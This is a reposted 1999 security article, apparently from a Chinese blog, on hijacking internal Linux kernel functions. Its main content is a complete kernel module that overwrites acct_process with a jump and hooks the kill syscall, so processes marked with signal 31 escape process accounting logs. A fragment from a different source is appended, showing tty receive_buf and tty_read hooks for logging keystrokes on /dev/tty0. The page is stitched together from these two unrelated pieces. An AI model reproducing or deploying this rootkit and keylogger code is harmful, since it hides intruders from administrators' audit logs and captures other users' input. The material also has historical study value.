经典文章:KERNEL FUNCTION HIJACKING

KERNEL FUNCTION HIJACKING

- Silvio Cesare <silvio@big.net.au>
- November 1999

INTRODUCTION

This article describes a method of hijacking internal kernel functions, that
is, kernel functions that are declared inside the kernel without a function
pointer or vector for changing the kernel function it points too.  This can
have practical uses, as given in example code which patches the process
accounting code to not log specially marked processes (processes given signal
31).

KERNEL FUNCTION HIJACKING

The basic premise for this attack is to replace the first bytes of the original
function with an asm jump to the replacement jump.  The algorithm follows

In init_module...

* save the first 7 bytes of the original function for later use
* set the new jump code to point to the replacement function
* replace the first 7 bytes of the original function with a jump

In cleanup_module...

* restore the bytes of the original function with the saved copy

In the replacement function...

* do the payload
 for calling the old function...
* restore the bytes of the original function with the saved
 copy
* call the original function
* replace the first 7 bytes of the original function with a
 jump  

The asm jump used is an indirect jump...  This means no messing around with
calculating offsets.

movl $address_to_jump,%eax
jmp *%eax

THE IMPLEMENTED EXAMPLE

The example code patches acct_process in kernel/sys.c which accounts for
process accounting.  Normally, you cannot redirect acct_process, but this does
all the logging for process accounting, so we hijack the function to control
process logging.

The code works by waiting for a kill -31 to a process, when this is recieved,
the replacement kill syscall sets a bit in the process flags that marks the
process as not to be logged by process accounting.  This technique is ideal
as when the process forks, the process flags are copied, so children remaing
log free aswell.  The heart of the code is in _acct_process which looks at the
process flags and if marked not to be logged, returns without calling the
original acct_process.

The acct_process variable must be assigned the correct address of the function
in the kernel.  Typically, this is found in System.map but if no map is present
then the techniques described in my paper RUNTIME KERNEL KMEM PATCHING 
(http://www.big.net.au/~silvio) may be used.



-- acct_nolog.c (Linux 2.0.35)

#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <linux/sched.h>
#include <asm/string.h>
#include <asm/unistd.h>

/*
change this to the correct address, which can be found in System.map
*/

int (*acct_process)(int) = (int (*)(int))0x00114520;

#define CODESIZE 7

#define NOLOG_SIGNAL 31
#define NOLOG_PF 0x10000000

static char original_acct_code[7];
static char acct_code[7] =
"\xb8\x00\x00\x00\x00" /* movl   $0,%eax */
"\xff\xe0" /* jmp    *%eax */
;
int (*original_kill)(pid_t, int);

extern void *sys_call_table[];

void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;

for (i = 0; i < size; i++) *q++ = *p++;

return dest;
}

int _acct_process(long exitcode)
{
if (!(current->flags & NOLOG_PF)) {
int ret;

_memcpy(acct_process, original_acct_code, CODESIZE);
ret = acct_process(exitcode);
_memcpy(acct_process, acct_code, CODESIZE);
return ret;
}
return 0;
}

struct task_struct *find_task(pid_t pid)
{
struct task_struct *task = current;

do {
if (task->pid == pid) return task;
task = task->next_task;
} while (task != current);

return NULL;
}



int _kill(pid_t pid, int sig)
{
if (sig == NOLOG_SIGNAL) {
struct task_struct *task;

task = find_task(pid);
if (task == NULL) return - ESRCH;

task->flags |= NOLOG_PF;
return 0;
}
return original_kill(pid, sig);
}

int init_module(void)
{
original_kill = sys_call_table[__NR_kill];
sys_call_table[__NR_kill] = _kill;
*(long *)&acct_code[1] = (long)_acct_process;
_memcpy(original_acct_code, acct_process, CODESIZE);
_memcpy(acct_process, acct_code, CODESIZE);
return 0;
}

void cleanup_module(void)
{
sys_call_table[__NR_kill] = original_kill;
_memcpy(acct_process, original_acct_code, CODESIZE);
}















-------------------------------------------------------------
 To intercept this function, we can save the original tty receive_buf()
function then set ldisc.receive_buf to our own new_receive_buf() function
in order to logging user inputs. 

Ex: to log inputs on the tty0

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf;
tty->ldisc.receive_buf = new_receive_buf;

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, 
char *fp, int count)
{
logging(tty, cp, count); //log inputs

/* call the original receive_buf */
(*old_receive_buf)(tty, cp, fp, count);
}



------[ 3.2.4 - tty_read

  This function is called when a process wants to read input characters
from a tty via sys_read() function.

# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count, 
loff_t *ppos)

static struct file_operations tty_fops = {
llseek: tty_lseek,
read: tty_read,
write: tty_write,
poll: tty_poll,
ioctl: tty_ioctl,
open: tty_open,
release: tty_release,
fasync: tty_fasync,
};

To log inputs on the tty0:

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
old_tty_read = file->f_op->read;
file->f_op->read = new_tty_read;


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值